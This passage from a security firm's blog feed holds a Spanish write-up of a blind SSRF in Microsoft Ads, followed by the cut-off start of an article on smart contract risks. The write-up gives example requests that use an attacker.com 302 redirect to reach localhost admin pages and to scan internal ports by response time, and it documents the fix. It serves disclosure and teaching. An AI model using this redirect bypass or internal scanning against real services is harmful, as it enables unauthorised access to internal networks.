    &lt;span&gt;&#xD;
      
           En resumen, el endpoint recibe una URL. Pero solo la procesa, si el hostname es un dominio y si el archivo de la url es del formato previamente definido en la configuración del Endpoint.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Bypass con 302 Redirect (Request Control)
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Cuando la explotación de un SSRF es exitosa, un atacante logra tomar control sobre las peticiones que realiza un endpoint y  las reutiliza para obtener o modificar información confidencial del target. En este caso, aunque podría subir un archivo con el filetype necesario y ponerle un dominio a la URL, no podría hacer nada más que recibir un request del bot de Microsoft y ya.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Ya en otra ocasión, había tenido una situación similar y uno de los aprendizajes más valiosos que me dejó, fue que muchos de estos controles implementados en los backends, solo validaban el primer response que recibía del servicio consultado. Si la respuesta del servidor era un redirect, el control no aplicaba dado que el primer response en teoría si cumplía con lo necesario para ser procesado.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Entonces, en la vulnerabilidad encontrada en Microsoft Ads, ya habíamos identificado los controles que teníamos que evadir y ahora también tenemos la solución (teórica) que nos ayudaría a hacerles bypass: 302 Redirect. Para recapitular, nuestra URL, debe tener en la URL un filetype específico (.zip en este caso) y también debe ser un dominio y no una IP.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Para solucionar lo del dominio, pueden usar un dominio propio o usar alguno gratuito, si tienen la duda de cual es mejor, propio o gratuito, la realidad es que depende. Hay endpoints de lógica b2b que tienen blacklisteados muchos dominios gratuitos y hay otros que consumen en su mayoría recursos de fuentes gratuitas por lo que es mejor usar dominios que sean conocidos como camuflaje, por eso como antes mencioné, es super importante entender bien el endpoint que estamos trabajando.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El tema del zip es donde viene el bypass divertido, tenemos que hacerle creer que somos un .zip pero al mismo tiempo no serlo. Para lograr esto, en mi caso usé el apoyo de un pequeño script en python que aceptaba todos los paths que recibiera con un 302. Si el "bot" visita /ejemplo.zip, será redireccionado a cualquier destino que queramos.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Este código es parte de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           redirector.py:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Este script en mi server (dominio attacker.com), si es ejecutado de la siguiente manera:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           redirector.py https://127.0.0.1:443/admin
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Al recibir un request usando el servicio vulnerable, ej:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
            
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2Fattacker.com/resource.zip&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El bot cuando ingrese a ese link, recibirá una redirección 302 y será como si realmente hubiésemos enviado:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2F127.0.0.1:443/admin&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           Aquí les comparto una imagen real del "bot" siendo redirigido a mi Burp collaborator. Interesante ver que es un Python-Requests y que no se han tomado el tiempo de cambiar el user-agent, interesante por todo lo que eso representa...
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Image_1-a7929ddf.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Ok, validado que tenemos el control del "bot", y también que el bypass en si funcionó ¿Cómo usarlo para que aumente el impacto de la vulnerabilidad?
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Pivot y Time-Based Port Scan
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Si, es posible realizar un port scan usando esta técnica de redirect con el escenario tal y como lo tenemos en este momento. Para ejecutar el port scan, el plan es el siguiente:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           1. Hacer que el request que manda el bot llegue al web server controlado por nosotros.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           2. Redireccionar el request a IPLOCAL:PUERTO
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           3. Tomar nota del tiempo que demoro en regresar la respuesta al bot. 
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           ¿Por qué el tiempo es importante? porque normalmente si un request consulta un puerto abierto, la respuesta que recibe es inmediata, en cambio si el puerto está cerrado, hay timeout y la respuesta demorará en llegar.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ¿Cómo medir el tiempo? esa pregunta es interesante hay varias maneras, pero el flujo que apliqué en esta vulnerabilidad fue el siguiente:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            1. El request vulnerable llevarlo a Intruder de burp suite.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            2. Configurar el intruder para mandar unos request con este formato:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GET /path/process/r?url=http%3A%2F%2Fattacker.com/$PAYLOAD$/resource.zip&amp;amp;var=true&amp;amp;var=MD5
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            3. Configurar redirector,py para que el path de la url que reciba lo extraiga y lo ponga como puerto a una IP en específico.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           4. Leer en el intruder el tiempo de respuesta de cada request que envió.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Es referencial, pero el código del
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           redirector.py
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           se ve algo así:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/bypass_ssrf_1.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Con esta técnica en este momento y siguiendo la línea de tiempo como la he planteado, podríamos escanearle 65k puertos a 127.0.0.1, luego hacer lo mismo con cada una de las IPs, pero... ¿cual es la IP local de ese server? ¿Este SSRF nos puede servir de pivot para llegar a una red crítica? ¿como puedo atacar algún asset importante? A la hora de un Pentest o un Bug Bounty, un elemento clave, es demostrar el verdadero riesgo que representa una vulnerabilidad. y para un Blind SSRF no es tarea sencilla.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Quiero hacer énfasis una vez mas en la importancia que tiene entender el target y el endpoint que se está analizando. ¿Por qué? porque cuando escaneas esta clase de targets, con esta clase de método y todo a través de un SSRF, no siempre es fácil demostrar todo lo que se puede hacer. Entonces, aquí el elemento clave para explotar esta vulnerabilidad al máximo, es hacer ese network mapping para saber donde estamos y a que servicios podemos atacar.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En el caso de la vulnerabilidad en Microsoft Ads, busqué dos puertos específicos a distintos rangos de IPs locales, el 22 para buscar servidores con ssh a los que pudiese llegar y el 445 para buscar máquinas de personal que estuviesen conectadas a un domain controller. Así podría descartar rangos enteros de IPs que no tendrían mucho que ofrecer.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Aquí les comparto una imagen de la vulnerabilidad real, el cuadro verde son los puertos abiertos y el rojo son los cerrados, presten atención a como los tiempos de respuesta del 80 y 443 son menos de medio segundo vs los otros que demoran 3 segundos en volver. Podemos concluir que el server que estamos escaneando es un Web Server.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Image_32-389903bf.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ﻿
           &#xD;
      &lt;/span&gt;&#xD;
      
           Análisis del código vulnerable
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El bypass usando redirect 302, ocurre porque el código permitía que el request haga "follow" a los redirects. En la mayoría de librerías y clientes-cli que hacen conexiones HTTP, es posible configurarlos para que no sigan redirecciones.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           He escrito un ejemplo de código vulnerable, para que se comprenda como funciona la vulnerabilidad desde distintos ángulos y también lo pueden usar para practicar. El código simula un endpoint llamado descargar, con una variable por get (url) que solo acepta links que terminen en ".zip". Si ejecutas el código, se levantará un web server en "https://vulnerable.com/descargar?url=" para explotar el código vulnerable, usa un script que redireccione todas las visitas hacia "https://127.0.0.1/admin", al visitar https://vulnerable.com/descargar?url=https://attacker.com/exploit.zip estarás visitando el panel admin de localhost.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Código vulnerable:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Ejemplo de redirect.py
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Para solucionar el problema aquí y evitar que la aplicación no siga la redirección, habría que añadir el flag de  allow_redirects en False al momento de lanzar el request. Esto sería cambiando la linea 19 de la siguiente manera: 
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           response = requests.get(user_url, timeout=5, allow_redirects=False)
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Conclusiones finales y Recomendaciones
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Para los Pentesters, sepan que no es opcional entender el flujo completo de las aplicaciones que auditan, siempre debemos tener una idea clara sobre lo que pasa cuando se manda un payload, un buen Pentester es full-stack. Para los desarrolladores, siempre es bueno buscar las buenas prácticas de las tecnologías que se usan. De esa manera no se pasarán esta clase de vulnerabilidades que pueden ser muy sencillas de evitar con solo un flag.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Esta vulnerabilidad, fue reportada a Microsoft y ya implementó un fix. En abril de este año, aparecí en la lista de reconocimiento de Microsoft (MSRC) por ese reporte.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/reconocimiento_microsoft.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Todos los Pentest realizados por el equipo de Deep Security, son ejecutados con un nivel técnico avalado por la experiencia de un equipo que reporta vulnerabilidades a las empresas más grandes del mundo.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Si necesitas un Pentest profesional y acompañamiento continuo para mantener la superficie en internet de tu compañía segura, escríbenos y nuestro equipo comercial te contactará.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ﻿
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Server-Side+Request+Forgery+Avanzado+%281%29.png" length="511272" type="image/png" />
      <pubDate>Thu, 24 Jul 2025 18:48:56 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/blind-ssrf-en-microsoft-ads</guid>
      <g-custom:tags type="string" />
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Server-Side+Request+Forgery+Avanzado+%281%29.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Server-Side+Request+Forgery+Avanzado+%281%29.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Ethical Hacking Smart Contracts</title>
      <link>https://www.deepsecurity.pe/por-que-se-siguen-reportando-incidentes-en-los-smart-contracts</link>
      <description>¿Por qué se siguen reportando incidentes en los Smart Contracts?
Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/smart+contracts_1024x600+TB-17031619.png" alt="Un fondo azul con las palabras &amp;amp;quot;contratos inteligentes de piratería ética&amp;amp;quot; escritas en él."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           ¿Por qué se siguen reportando incidentes en los
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Smart Contracts
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           ?
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Falta de experiencia:
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            el desarrollo de contratos inteligentes requiere un alto nivel de experiencia tanto en tecnología blockchain como en lenguajes de programación como Solidity, Vyper, Ride, entre otros. Sin embargo, es posible que muchos desarrolladores no tengan las habilidades y la experiencia necesarias para escribir código seguro. Esto puede generar vulnerabilidades y errores que los atacantes pueden aprovechar.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Código complejo:
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            los contratos inteligentes pueden ser muy complejos, especialmente cuando involucran múltiples funciones e interacciones con otros contratos. Esta complejidad puede dificultar la identificación y el tratamiento de posibles vulnerabilidades.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Falta de estandarización:
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
